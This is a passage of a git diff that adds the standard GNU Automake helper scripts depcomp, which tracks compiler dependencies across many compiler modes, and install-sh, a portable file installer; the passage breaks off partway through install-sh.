used (yes/no). + +Report bugs to . +EOF + exit $? + ;; + -v | --v*) + echo "depcomp $scriptversion" + exit $? + ;; +esac + +# Get the directory component of the given path, and save it in the +# global variables '$dir'. Note that this directory component will +# be either empty or ending with a '/' character. This is deliberate. +set_dir_from () +{ + case $1 in + */*) dir=`echo "$1" | sed -e 's|/[^/]*$|/|'`;; + *) dir=;; + esac +} + +# Get the suffix-stripped basename of the given path, and save it the +# global variable '$base'. +set_base_from () +{ + base=`echo "$1" | sed -e 's|^.*/||' -e 's/\.[^.]*$//'` +} + +# If no dependency file was actually created by the compiler invocation, +# we still have to create a dummy depfile, to avoid errors with the +# Makefile "include basename.Plo" scheme. +make_dummy_depfile () +{ + echo "#dummy" > "$depfile" +} + +# Factor out some common post-processing of the generated depfile. +# Requires the auxiliary global variable '$tmpdepfile' to be set. +aix_post_process_depfile () +{ + # If the compiler actually managed to produce a dependency file, + # post-process it. + if test -f "$tmpdepfile"; then + # Each line is of the form 'foo.o: dependency.h'. + # Do two passes, one to just change these to + # $object: dependency.h + # and one to simply output + # dependency.h: + # which is needed to avoid the deleted-header problem. + { sed -e "s,^.*\.[$lower]*:,$object:," < "$tmpdepfile" + sed -e "s,^.*\.[$lower]*:[$tab ]*,," -e 's,$,:,' < "$tmpdepfile" + } > "$depfile" + rm -f "$tmpdepfile" + else + make_dummy_depfile + fi +} + +# A tabulation character. +tab=' ' +# A newline character. +nl=' +' +# Character ranges might be problematic outside the C locale. +# These definitions help. +upper=ABCDEFGHIJKLMNOPQRSTUVWXYZ +lower=abcdefghijklmnopqrstuvwxyz +digits=0123456789 +alpha=${upper}${lower} + +if test -z "$depmode" || test -z "$source" || test -z "$object"; then + echo "depcomp: Variables source, object and depmode must be set" 1>&2 + exit 1 +fi + +# Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po. +depfile=${depfile-`echo "$object" | + sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`} +tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`} + +rm -f "$tmpdepfile" + +# Avoid interferences from the environment. +gccflag= dashmflag= + +# Some modes work just like other modes, but use different flags. We +# parameterize here, but still list the modes in the big case below, +# to make depend.m4 easier to write. Note that we *cannot* use a case +# here, because this file can only contain one case statement. +if test "$depmode" = hp; then + # HP compiler uses -M and no extra arg. + gccflag=-M + depmode=gcc +fi + +if test "$depmode" = dashXmstdout; then + # This is just like dashmstdout with a different argument. + dashmflag=-xM + depmode=dashmstdout +fi + +cygpath_u="cygpath -u -f -" +if test "$depmode" = msvcmsys; then + # This is just like msvisualcpp but w/o cygpath translation. + # Just convert the backslash-escaped backslashes to single forward + # slashes to satisfy depend.m4 + cygpath_u='sed s,\\\\,/,g' + depmode=msvisualcpp +fi + +if test "$depmode" = msvc7msys; then + # This is just like msvc7 but w/o cygpath translation. + # Just convert the backslash-escaped backslashes to single forward + # slashes to satisfy depend.m4 + cygpath_u='sed s,\\\\,/,g' + depmode=msvc7 +fi + +if test "$depmode" = xlc; then + # IBM C/C++ Compilers xlc/xlC can output gcc-like dependency information. + gccflag=-qmakedep=gcc,-MF + depmode=gcc +fi + +case "$depmode" in +gcc3) +## gcc 3 implements dependency tracking that does exactly what +## we want. Yay! Note: for some reason libtool 1.4 doesn't like +## it if -MD -MP comes after the -MF stuff. Hmm. +## Unfortunately, FreeBSD c89 acceptance of flags depends upon +## the command line argument order; so add the flags where they +## appear in depend2.am. Note that the slowdown incurred here +## affects only configure: in makefiles, %FASTDEP% shortcuts this. + for arg + do + case $arg in + -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;; + *) set fnord "$@" "$arg" ;; + esac + shift # fnord + shift # $arg + done + "$@" + stat=$? + if test $stat -ne 0; then + rm -f "$tmpdepfile" + exit $stat + fi + mv "$tmpdepfile" "$depfile" + ;; + +gcc) +## Note that this doesn't just cater to obsosete pre-3.x GCC compilers. +## but also to in-use compilers like IMB xlc/xlC and the HP C compiler. +## (see the conditional assignment to $gccflag above). +## There are various ways to get dependency output from gcc. Here's +## why we pick this rather obscure method: +## - Don't want to use -MD because we'd like the dependencies to end +## up in a subdir. Having to rename by hand is ugly. +## (We might end up doing this anyway to support other compilers.) +## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like +## -MM, not -M (despite what the docs say). Also, it might not be +## supported by the other compilers which use the 'gcc' depmode. +## - Using -M directly means running the compiler twice (even worse +## than renaming). + if test -z "$gccflag"; then + gccflag=-MD, + fi + "$@" -Wp,"$gccflag$tmpdepfile" + stat=$? + if test $stat -ne 0; then + rm -f "$tmpdepfile" + exit $stat + fi + rm -f "$depfile" + echo "$object : \\" > "$depfile" + # The second -e expression handles DOS-style file names with drive + # letters. + sed -e 's/^[^:]*: / /' \ + -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile" +## This next piece of magic avoids the "deleted header file" problem. +## The problem is that when a header file which appears in a .P file +## is deleted, the dependency causes make to die (because there is +## typically no way to rebuild the header). We avoid this by adding +## dummy dependencies for each header file. Too bad gcc doesn't do +## this for us directly. +## Some versions of gcc put a space before the ':'. On the theory +## that the space means something, we add a space to the output as +## well. hp depmode also adds that space, but also prefixes the VPATH +## to the object. Take care to not repeat it in the output. +## Some versions of the HPUX 10.20 sed can't process this invocation +## correctly. Breaking it into two sed invocations is a workaround. + tr ' ' "$nl" < "$tmpdepfile" \ + | sed -e 's/^\\$//' -e '/^$/d' -e "s|.*$object$||" -e '/:$/d' \ + | sed -e 's/$/ :/' >> "$depfile" + rm -f "$tmpdepfile" + ;; + +hp) + # This case exists only to let depend.m4 do its work. It works by + # looking at the text of this script. This case will never be run, + # since it is checked for above. + exit 1 + ;; + +sgi) + if test "$libtool" = yes; then + "$@" "-Wp,-MDupdate,$tmpdepfile" + else + "$@" -MDupdate "$tmpdepfile" + fi + stat=$? + if test $stat -ne 0; then + rm -f "$tmpdepfile" + exit $stat + fi + rm -f "$depfile" + + if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files + echo "$object : \\" > "$depfile" + # Clip off the initial element (the dependent). Don't try to be + # clever and replace this with sed code, as IRIX sed won't handle + # lines with more than a fixed number of characters (4096 in + # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines; + # the IRIX cc adds comments like '#:fec' to the end of the + # dependency line. + tr ' ' "$nl" < "$tmpdepfile" \ + | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' \ + | tr "$nl" ' ' >> "$depfile" + echo >> "$depfile" + # The second pass generates a dummy entry for each header file. + tr ' ' "$nl" < "$tmpdepfile" \ + | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \ + >> "$depfile" + else + make_dummy_depfile + fi + rm -f "$tmpdepfile" + ;; + +xlc) + # This case exists only to let depend.m4 do its work. It works by + # looking at the text of this script. This case will never be run, + # since it is checked for above. + exit 1 + ;; + +aix) + # The C for AIX Compiler uses -M and outputs the dependencies + # in a .u file. In older versions, this file always lives in the + # current directory. Also, the AIX compiler puts '$object:' at the + # start of each line; $object doesn't have directory information. + # Version 6 uses the directory in both cases. + set_dir_from "$object" + set_base_from "$object" + if test "$libtool" = yes; then + tmpdepfile1=$dir$base.u + tmpdepfile2=$base.u + tmpdepfile3=$dir.libs/$base.u + "$@" -Wc,-M + else + tmpdepfile1=$dir$base.u + tmpdepfile2=$dir$base.u + tmpdepfile3=$dir$base.u + "$@" -M + fi + stat=$? + if test $stat -ne 0; then + rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" + exit $stat + fi + + for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" + do + test -f "$tmpdepfile" && break + done + aix_post_process_depfile + ;; + +tcc) + # tcc (Tiny C Compiler) understand '-MD -MF file' since version 0.9.26 + # FIXME: That version still under development at the moment of writing. + # Make that this statement remains true also for stable, released + # versions. + # It will wrap lines (doesn't matter whether long or short) with a + # trailing '\', as in: + # + # foo.o : \ + # foo.c \ + # foo.h \ + # + # It will put a trailing '\' even on the last line, and will use leading + # spaces rather than leading tabs (at least since its commit 0394caf7 + # "Emit spaces for -MD"). + "$@" -MD -MF "$tmpdepfile" + stat=$? + if test $stat -ne 0; then + rm -f "$tmpdepfile" + exit $stat + fi + rm -f "$depfile" + # Each non-empty line is of the form 'foo.o : \' or ' dep.h \'. + # We have to change lines of the first kind to '$object: \'. + sed -e "s|.*:|$object :|" < "$tmpdepfile" > "$depfile" + # And for each line of the second kind, we have to emit a 'dep.h:' + # dummy dependency, to avoid the deleted-header problem. + sed -n -e 's|^ *\(.*\) *\\$|\1:|p' < "$tmpdepfile" >> "$depfile" + rm -f "$tmpdepfile" + ;; + +## The order of this option in the case statement is important, since the +## shell code in configure will try each of these formats in the order +## listed in this file. A plain '-MD' option would be understood by many +## compilers, so we must ensure this comes after the gcc and icc options. +pgcc) + # Portland's C compiler understands '-MD'. + # Will always output deps to 'file.d' where file is the root name of the + # source file under compilation, even if file resides in a subdirectory. + # The object file name does not affect the name of the '.d' file. + # pgcc 10.2 will output + # foo.o: sub/foo.c sub/foo.h + # and will wrap long lines using '\' : + # foo.o: sub/foo.c ... \ + # sub/foo.h ... \ + # ... + set_dir_from "$object" + # Use the source, not the object, to determine the base name, since + # that's sadly what pgcc will do too. + set_base_from "$source" + tmpdepfile=$base.d + + # For projects that build the same source file twice into different object + # files, the pgcc approach of using the *source* file root name can cause + # problems in parallel builds. Use a locking strategy to avoid stomping on + # the same $tmpdepfile. + lockdir=$base.d-lock + trap " + echo '$0: caught signal, cleaning up...' >&2 + rmdir '$lockdir' + exit 1 + " 1 2 13 15 + numtries=100 + i=$numtries + while test $i -gt 0; do + # mkdir is a portable test-and-set. + if mkdir "$lockdir" 2>/dev/null; then + # This process acquired the lock. + "$@" -MD + stat=$? + # Release the lock. + rmdir "$lockdir" + break + else + # If the lock is being held by a different process, wait + # until the winning process is done or we timeout. + while test -d "$lockdir" && test $i -gt 0; do + sleep 1 + i=`expr $i - 1` + done + fi + i=`expr $i - 1` + done + trap - 1 2 13 15 + if test $i -le 0; then + echo "$0: failed to acquire lock after $numtries attempts" >&2 + echo "$0: check lockdir '$lockdir'" >&2 + exit 1 + fi + + if test $stat -ne 0; then + rm -f "$tmpdepfile" + exit $stat + fi + rm -f "$depfile" + # Each line is of the form `foo.o: dependent.h', + # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'. + # Do two passes, one to just change these to + # `$object: dependent.h' and one to simply `dependent.h:'. + sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile" + # Some versions of the HPUX 10.20 sed can't process this invocation + # correctly. Breaking it into two sed invocations is a workaround. + sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" \ + | sed -e 's/$/ :/' >> "$depfile" + rm -f "$tmpdepfile" + ;; + +hp2) + # The "hp" stanza above does not work with aCC (C++) and HP's ia64 + # compilers, which have integrated preprocessors. The correct option + # to use with these is +Maked; it writes dependencies to a file named + # 'foo.d', which lands next to the object file, wherever that + # happens to be. + # Much of this is similar to the tru64 case; see comments there. + set_dir_from "$object" + set_base_from "$object" + if test "$libtool" = yes; then + tmpdepfile1=$dir$base.d + tmpdepfile2=$dir.libs/$base.d + "$@" -Wc,+Maked + else + tmpdepfile1=$dir$base.d + tmpdepfile2=$dir$base.d + "$@" +Maked + fi + stat=$? + if test $stat -ne 0; then + rm -f "$tmpdepfile1" "$tmpdepfile2" + exit $stat + fi + + for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" + do + test -f "$tmpdepfile" && break + done + if test -f "$tmpdepfile"; then + sed -e "s,^.*\.[$lower]*:,$object:," "$tmpdepfile" > "$depfile" + # Add 'dependent.h:' lines. + sed -ne '2,${ + s/^ *// + s/ \\*$// + s/$/:/ + p + }' "$tmpdepfile" >> "$depfile" + else + make_dummy_depfile + fi + rm -f "$tmpdepfile" "$tmpdepfile2" + ;; + +tru64) + # The Tru64 compiler uses -MD to generate dependencies as a side + # effect. 'cc -MD -o foo.o ...' puts the dependencies into 'foo.o.d'. + # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put + # dependencies in 'foo.d' instead, so we check for that too. + # Subdirectories are respected. + set_dir_from "$object" + set_base_from "$object" + + if test "$libtool" = yes; then + # Libtool generates 2 separate objects for the 2 libraries. These + # two compilations output dependencies in $dir.libs/$base.o.d and + # in $dir$base.o.d. We have to check for both files, because + # one of the two compilations can be disabled. We should prefer + # $dir$base.o.d over $dir.libs/$base.o.d because the latter is + # automatically cleaned when .libs/ is deleted, while ignoring + # the former would cause a distcleancheck panic. + tmpdepfile1=$dir$base.o.d # libtool 1.5 + tmpdepfile2=$dir.libs/$base.o.d # Likewise. + tmpdepfile3=$dir.libs/$base.d # Compaq CCC V6.2-504 + "$@" -Wc,-MD + else + tmpdepfile1=$dir$base.d + tmpdepfile2=$dir$base.d + tmpdepfile3=$dir$base.d + "$@" -MD + fi + + stat=$? + if test $stat -ne 0; then + rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" + exit $stat + fi + + for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" + do + test -f "$tmpdepfile" && break + done + # Same post-processing that is required for AIX mode. + aix_post_process_depfile + ;; + +msvc7) + if test "$libtool" = yes; then + showIncludes=-Wc,-showIncludes + else + showIncludes=-showIncludes + fi + "$@" $showIncludes > "$tmpdepfile" + stat=$? + grep -v '^Note: including file: ' "$tmpdepfile" + if test $stat -ne 0; then + rm -f "$tmpdepfile" + exit $stat + fi + rm -f "$depfile" + echo "$object : \\" > "$depfile" + # The first sed program below extracts the file names and escapes + # backslashes for cygpath. The second sed program outputs the file + # name when reading, but also accumulates all include files in the + # hold buffer in order to output them again at the end. This only + # works with sed implementations that can handle large buffers. + sed < "$tmpdepfile" -n ' +/^Note: including file: *\(.*\)/ { + s//\1/ + s/\\/\\\\/g + p +}' | $cygpath_u | sort -u | sed -n ' +s/ /\\ /g +s/\(.*\)/'"$tab"'\1 \\/p +s/.\(.*\) \\/\1:/ +H +$ { + s/.*/'"$tab"'/ + G + p +}' >> "$depfile" + echo >> "$depfile" # make sure the fragment doesn't end with a backslash + rm -f "$tmpdepfile" + ;; + +msvc7msys) + # This case exists only to let depend.m4 do its work. It works by + # looking at the text of this script. This case will never be run, + # since it is checked for above. + exit 1 + ;; + +#nosideeffect) + # This comment above is used by automake to tell side-effect + # dependency tracking mechanisms from slower ones. + +dashmstdout) + # Important note: in order to support this mode, a compiler *must* + # always write the preprocessed file to stdout, regardless of -o. + "$@" || exit $? + + # Remove the call to Libtool. + if test "$libtool" = yes; then + while test "X$1" != 'X--mode=compile'; do + shift + done + shift + fi + + # Remove '-o $object'. + IFS=" " + for arg + do + case $arg in + -o) + shift + ;; + $object) + shift + ;; + *) + set fnord "$@" "$arg" + shift # fnord + shift # $arg + ;; + esac + done + + test -z "$dashmflag" && dashmflag=-M + # Require at least two characters before searching for ':' + # in the target name. This is to cope with DOS-style filenames: + # a dependency such as 'c:/foo/bar' could be seen as target 'c' otherwise. + "$@" $dashmflag | + sed "s|^[$tab ]*[^:$tab ][^:][^:]*:[$tab ]*|$object: |" > "$tmpdepfile" + rm -f "$depfile" + cat < "$tmpdepfile" > "$depfile" + # Some versions of the HPUX 10.20 sed can't process this sed invocation + # correctly. Breaking it into two sed invocations is a workaround. + tr ' ' "$nl" < "$tmpdepfile" \ + | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' \ + | sed -e 's/$/ :/' >> "$depfile" + rm -f "$tmpdepfile" + ;; + +dashXmstdout) + # This case only exists to satisfy depend.m4. It is never actually + # run, as this mode is specially recognized in the preamble. + exit 1 + ;; + +makedepend) + "$@" || exit $? + # Remove any Libtool call + if test "$libtool" = yes; then + while test "X$1" != 'X--mode=compile'; do + shift + done + shift + fi + # X makedepend + shift + cleared=no eat=no + for arg + do + case $cleared in + no) + set ""; shift + cleared=yes ;; + esac + if test $eat = yes; then + eat=no + continue + fi + case "$arg" in + -D*|-I*) + set fnord "$@" "$arg"; shift ;; + # Strip any option that makedepend may not understand. Remove + # the object too, otherwise makedepend will parse it as a source file. + -arch) + eat=yes ;; + -*|$object) + ;; + *) + set fnord "$@" "$arg"; shift ;; + esac + done + obj_suffix=`echo "$object" | sed 's/^.*\././'` + touch "$tmpdepfile" + ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@" + rm -f "$depfile" + # makedepend may prepend the VPATH from the source file name to the object. + # No need to regex-escape $object, excess matching of '.' is harmless. + sed "s|^.*\($object *:\)|\1|" "$tmpdepfile" > "$depfile" + # Some versions of the HPUX 10.20 sed can't process the last invocation + # correctly. Breaking it into two sed invocations is a workaround. + sed '1,2d' "$tmpdepfile" \ + | tr ' ' "$nl" \ + | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' \ + | sed -e 's/$/ :/' >> "$depfile" + rm -f "$tmpdepfile" "$tmpdepfile".bak + ;; + +cpp) + # Important note: in order to support this mode, a compiler *must* + # always write the preprocessed file to stdout. + "$@" || exit $? + + # Remove the call to Libtool. + if test "$libtool" = yes; then + while test "X$1" != 'X--mode=compile'; do + shift + done + shift + fi + + # Remove '-o $object'. + IFS=" " + for arg + do + case $arg in + -o) + shift + ;; + $object) + shift + ;; + *) + set fnord "$@" "$arg" + shift # fnord + shift # $arg + ;; + esac + done + + "$@" -E \ + | sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \ + -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \ + | sed '$ s: \\$::' > "$tmpdepfile" + rm -f "$depfile" + echo "$object : \\" > "$depfile" + cat < "$tmpdepfile" >> "$depfile" + sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile" + rm -f "$tmpdepfile" + ;; + +msvisualcpp) + # Important note: in order to support this mode, a compiler *must* + # always write the preprocessed file to stdout. + "$@" || exit $? + + # Remove the call to Libtool. + if test "$libtool" = yes; then + while test "X$1" != 'X--mode=compile'; do + shift + done + shift + fi + + IFS=" " + for arg + do + case "$arg" in + -o) + shift + ;; + $object) + shift + ;; + "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI") + set fnord "$@" + shift + shift + ;; + *) + set fnord "$@" "$arg" + shift + shift + ;; + esac + done + "$@" -E 2>/dev/null | + sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::\1:p' | $cygpath_u | sort -u > "$tmpdepfile" + rm -f "$depfile" + echo "$object : \\" > "$depfile" + sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::'"$tab"'\1 \\:p' >> "$depfile" + echo "$tab" >> "$depfile" + sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::\1\::p' >> "$depfile" + rm -f "$tmpdepfile" + ;; + +msvcmsys) + # This case exists only to let depend.m4 do its work. It works by + # looking at the text of this script. This case will never be run, + # since it is checked for above. + exit 1 + ;; + +none) + exec "$@" + ;; + +*) + echo "Unknown depmode $depmode" 1>&2 + exit 1 + ;; +esac + +exit 0 + +# Local Variables: +# mode: shell-script +# sh-indentation: 2 +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-start: "scriptversion=" +# time-stamp-format: "%:y-%02m-%02d.%02H" +# time-stamp-time-zone: "UTC0" +# time-stamp-end: "; # UTC" +# End: diff --git a/build-aux/install-sh b/build-aux/install-sh new file mode 100755 index 00000000..ec298b53 --- /dev/null +++ b/build-aux/install-sh @@ -0,0 +1,541 @@ +#!/bin/sh +# install - install a program, script, or datafile + +scriptversion=2020-11-14.01; # UTC + +# This originates from X11R5 (mit/util/scripts/install.sh), which was +# later released in X11R6 (xc/config/util/install.sh) with the +# following copyright and license. +# +# Copyright (C) 1994 X Consortium +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to +# deal in the Software without restriction, including without limitation the +# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or +# sell copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- +# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# +# Except as contained in this notice, the name of the X Consortium shall not +# be used in advertising or otherwise to promote the sale, use or other deal- +# ings in this Software without prior written authorization from the X Consor- +# tium. +# +# +# FSF changes to this file are in the public domain. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# 'make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. + +tab=' ' +nl=' +' +IFS=" $tab$nl" + +# Set DOITPROG to "echo" to test this script. + +doit=${DOITPROG-} +doit_exec=${doit:-exec} + +# Put in absolute file names if you don't have them in your path; +# or use environment vars. + +chgrpprog=${CHGRPPROG-chgrp} +chmodprog=${CHMODPROG-chmod} +chownprog=${CHOWNPROG-chown} +cmpprog=${CMPPROG-cmp} +cpprog=${CPPROG-cp} +mkdirprog=${MKDIRPROG-mkdir} +mvprog=${MVPROG-mv} +rmprog=${RMPROG-rm} +stripprog=${STRIPPROG-strip} + +posix_mkdir= + +# Desired mode of installed file. +mode=0755 + +# Create dirs (including intermediate dirs) using mode 755. +# This is like GNU 'install' as of coreutils 8.32 (2020). +mkdir_umask=22 + +backupsuffix= +chgrpcmd= +chmodcmd=$chmodprog +chowncmd= +mvcmd=$mvprog +rmcmd="$rmprog -f" +stripcmd= + +src= +dst= +dir_arg= +dst_arg= + +copy_on_change=false +is_target_a_directory=possibly + +usage="\ +Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE + or: $0 [OPTION]... SRCFILES... DIRECTORY + or: $0 [OPTION]... -t DIRECTORY SRCFILES... + or: $0 [OPTION]... -d DIRECTORIES... + +In the 1st form, copy SRCFILE to DSTFILE. +In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. +In the 4th, create DIRECTORIES. + +Options: + --help display this help and exit. + --version display version info and exit. + + -c (ignored) + -C install only if different (preserve data modification time) + -d create directories instead of installing files. + -g GROUP $chgrpprog installed files to GROUP. + -m MODE $chmodprog installed files to MODE. + -o USER $chownprog installed files to USER. + -p pass -p to $cpprog. + -s $stripprog installed files. + -S SUFFIX attempt to back up existing files, with suffix SUFFIX. + -t DIRECTORY install into DIRECTORY. + -T report an error if DSTFILE is a directory. + +Environment variables override the default commands: + CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG + RMPROG STRIPPROG + +By default, rm is invoked with -f; when overridden with RMPROG, +it's up to you to specify -f if you want it. + +If -S is not specified, no backups are attempted. + +Email bug reports to bug-automake@gnu.org. +Automake home page: https://www.gnu.org/software/automake/ +" + +while test $# -ne 0; do + case $1 in + -c) ;; + + -C) copy_on_change=true;; + + -d) dir_arg=true;; + + -g) chgrpcmd="$chgrpprog $2" + shift;; + + --help) echo "$usage"; exit $?;; + + -m) mode=$2 + case $mode in + *' '* | *"$tab"* | *"$nl"* | *'*'* | *'?'* | *'['*) + echo "$0: invalid mode: $mode" >&2 + exit 1;; + esac + shift;; + + -o) chowncmd="$chownprog $2" + shift;; + + -p) cpprog="$cpprog -p";; + + -s) stripcmd=$stripprog;; + + -S) backupsuffix="$2" + shift;; + + -t) + is_target_a_directory=always + dst_arg=$2 + # Protect names problematic for 'test' and other utilities. + case $dst_arg in + -* | [=\(\)!]) dst_arg=./$dst_arg;; + esac + shift;; + + -T) is_target_a_directory=never;; + + --version) echo "$0 $scriptversion"; exit $?;; + + --) shift + break;; + + -*) echo "$0: invalid option: $1" >&2 + exit 1;; + + *) break;; + esac + shift +done + +# We allow the use of options -d and -T together, by making -d +# take the precedence; this is for compatibility with GNU install. + +if test -n "$dir_arg"; then + if test -n "$dst_arg"; then + echo "$0: target directory not allowed when installing a directory." >&2 + exit 1 + fi +fi + +if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then + # When -d is used, all remaining arguments are directories to create. + # When -t is used, the destination is already specified. + # Otherwise, the last argument is the destination. Remove it from $@. + for arg + do + if test -n "$dst_arg"; then + # $@ is not empty: it contains at least $arg. + set fnord "$@" "$dst_arg" + shift # fnord + fi + shift # arg + dst_arg=$arg + # Protect names problematic for 'test' and other utilities. + case $dst_arg in + -* | [=\(\)!]) dst_arg=./$dst_arg;; + esac + done +fi + +if test $# -eq 0; then + if test -z "$dir_arg"; then + echo "$0: no input file specified." >&2 + exit 1 + fi + # It's OK to call 'install-sh -d' without argument. + # This can happen when creating conditional directories. + exit 0 +fi + +if test -z "$dir_arg"; then + if test $# -gt 1 || test "$is_target_a_directory" = always; then + if test ! -d "$dst_arg"; then + echo "$0: $dst_arg: Is not a directory." >&2 + exit 1 + fi + fi +fi + +if test -z "$dir_arg"; then + do_exit='(exit $ret); exit $ret' + trap "ret=129; $do_exit" 1 + trap "ret=130; $do_exit" 2 + trap "ret=141; $do_exit" 13 + trap "ret=143; $do_exit" 15 + + # Set umask so as not to create temps with too-generous modes. + # However, 'strip' requires both read and write access to temps. + case $mode in + # Optimize common cases. + *644) cp_umask=133;; + *755) cp_umask=22;; + + *[0-7]) + if test -z "$stripcmd"; then + u_plus_rw= + else + u_plus_rw='% 200' + fi + cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;; + *) + if test -z "$stripcmd"; then + u_plus_rw= + else + u_plus_rw=,u+rw + fi + cp_umask=$mode$u_plus_rw;; + esac +fi + +for src +do + # Protect names problematic for 'test' and other utilities. + case $src in + -* | [=\(\)!]) src=./$src;; + esac + + if test -n "$dir_arg"; then + dst=$src + dstdir=$dst + test -d "$dstdir" + dstdir_status=$? + # Don't chown directories that already exist. + if test $dstdir_status = 0; then + chowncmd="" + fi + else + + # Waiting for this to be detected by the "$cpprog $src $dsttmp" command + # might cause directories to be created, which would be especially bad + # if $src (and thus $dsttmp) contains '*'. + if test ! -f "$src" && test ! -d "$src"; then + echo "$0: $src does not exist." >&2 + exit 1 + fi + + if test -z "$dst_arg"; then + echo "$0: no destination specified." >&2 + exit 1 + fi + dst=$dst_arg + + # If destination is a directory, append the input filename. + if test -d "$dst"; then + if test "$is_target_a_directory" = never; then + echo "$0: $dst_arg: Is a directory" >&2 + exit 1 + fi + dstdir=$dst + dstbase=`basename "$src"` + case $dst in + */) dst=$dst$dstbase;; + *) dst=$dst/$dstbase;; + esac + dstdir_status=0 + else + dstdir=`dirname "$dst"` + test -d "$dstdir" + dstdir_status=$? + fi + fi + + case $dstdir in + */) dstdirslash=$dstdir;; + *) dstdirslash=$dstdir/;; + esac + + obsolete_mkdir_used=false + + if test $dstdir_status != 0; then + case $posix_mkdir in + '') + # With -d, create the new directory with the user-specified mode. + # Otherwise, rely on $mkdir_umask. + if test -n "$dir_arg"; then + mkdir_mode=-m$mode + else + mkdir_mode= + fi + + posix_mkdir=false + # The $RANDOM variable is not portable (e.g., dash). Use it + # here however when possible just to lower collision chance. + tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$ + + trap ' + ret=$? + rmdir "$tmpdir/a/b" "$tmpdir/a" "$tmpdir" 2>/dev/null + exit $ret + ' 0 + + # Because "mkdir -p" follows existing symlinks and we likely work + # directly in world-writeable /tmp, make sure that the '$tmpdir' + # directory is successfully created first before we actually test + # 'mkdir -p'. + if (umask $mkdir_umask && + $mkdirprog $mkdir_mode "$tmpdir" && + exec $mkdirprog $mkdir_mode -p -- "$tmpdir/a/b") >/dev/null 2>&1 + then + if test -z "$dir_arg" || { + # Check for POSIX incompatibilities with -m. + # HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or + # other-writable bit of parent directory when it shouldn't. + # FreeBSD 6.1 mkdir -m -p sets mode of existing directory. + test_tmpdir="$tmpdir/a" + ls_ld_tmpdir=`ls -ld "$test_tmpdir"` + case $ls_ld_tmpdir in + d????-?r-*) different_mode=700;; + d????-?--*) different_mode=755;; + *) false;; + esac && + $mkdirprog -m$different_mode -p -- "$test_tmpdir" && { + ls_ld_tmpdir_1=`ls -ld "$test_tmpdir"` + test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1" + } + } + then posix_mkdir=: + fi + rmdir "$tmpdir/a/b" "$tmpdir/a" "$tmpdir" + else + # Remove any dirs left behind by ancient mkdir implementations. + rmdir ./$mkdir_mode ./-p ./-- "$tmpdir" 2>/dev/null + fi + trap '' 0;; + esac + + if + $posix_mkdir && ( + umask $mkdir_umask && + $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir" + ) + then : + else + + # mkdir does not conform to POSIX, + # or it failed possibly due to a race condition. Create the + # directory the slow way, step by step, checking for races as we go. + + case $dstdir in + /*) prefix='/';; + [-=\(\)!]*) prefix='./';; + *) prefix='';; + esac + + oIFS=$IFS + IFS=/ + set -f + set fnord $dstdir + shift + set +f + IFS=$oIFS + + prefixes= + + for d + do + test X"$d" = X && continue + + prefix=$prefix$d + if test -d "$prefix"; then + prefixes= + else + if 